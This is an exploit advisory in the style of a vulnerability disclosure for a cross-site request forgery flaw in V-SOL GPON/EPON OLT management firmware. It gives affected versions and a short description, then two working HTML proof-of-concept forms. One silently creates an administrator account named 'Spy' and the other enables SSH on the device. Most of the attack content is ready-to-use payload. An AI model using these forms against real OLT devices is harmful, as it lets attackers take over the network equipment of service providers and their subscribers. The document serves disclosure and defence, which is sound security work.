V-SOL GPON/EPON OLT Platform 2.03 – Cross-Site Request Forgery
# Exploit Title: V-SOL GPON/EPON OLT Platform 2.03 - Cross-Site Request Forgery # Author: LiquidWorm # Discovery Date: 2019-09-26 # Vendor: Guangzhou V-SOLUTION Electronic Technology Co., Ltd. # Product web page: https://www.vsolcn.com # Tested on: GoAhead-Webs # Advisory ID: ZSL-2019-5536 # Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5536.php # Affected version: V2.03.62R_IPv6 # V2.03.54R # V2.03.52R # V2.03.49 # V2.03.47 # V2.03.40 # V2.03.26 # V2.03.24 # V1.8.6 # V1.4 Summary: GPON is currently the leading FTTH standard in broadband access technology being widely deployed by service providers around the world. GPON/EPON OLT products are 1U height 19 inch rack mount products. The features of the OLT are small, convenient, flexible, easy to deploy, high performance. It is appropriate to be deployed in compact room environment. The OLTs can be used for 'Triple-Play', VPN, IP Camera, Enterprise LAN and ICT applications. Desc: The application interface allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site. CSRF add admin: --------------- <html> <body> <form action="http://192.168.8.200/action/user.html" method="POST"> <input type="hidden" name="user_name_add" value="Spy" /> <input type="hidden" name="user_password_add" value="pass123" /> <input type="hidden" name="password_confirm_add" value="pass123" /> <input type="hidden" name="user_role" value="1" /> <input type="hidden" name="user_name_mod" value="" /> <input type="hidden" name="user_password_mod" value="" /> <input type="hidden" name="password_confirm_mod" value="" /> <input type="hidden" name="user_role_mod" value="0" /> <input type="hidden" name="option_um" value="100/" /> <input type="hidden" name="who" value="0" /> <input type="submit" value="Init" /> </form> </body> </html> CSRF enable SSH: ---------------- <html> <body> <form action="https://192.168.8.200/action/sshglobal.html" method="POST"> <input type="hidden" name="ssh_enable" value="1" /> <input type="hidden" name="ssh_version" value="2" /> <input type="hidden" name="auth_retries" value="6" /> <input type="hidden" name="ssh_timeout" value="120" /> <input type="hidden" name="ssh_modulus" value="2048" /> <input type="hidden" name="who" value="0" /> <input type="submit" value="Init" /> </form> </body> </html> |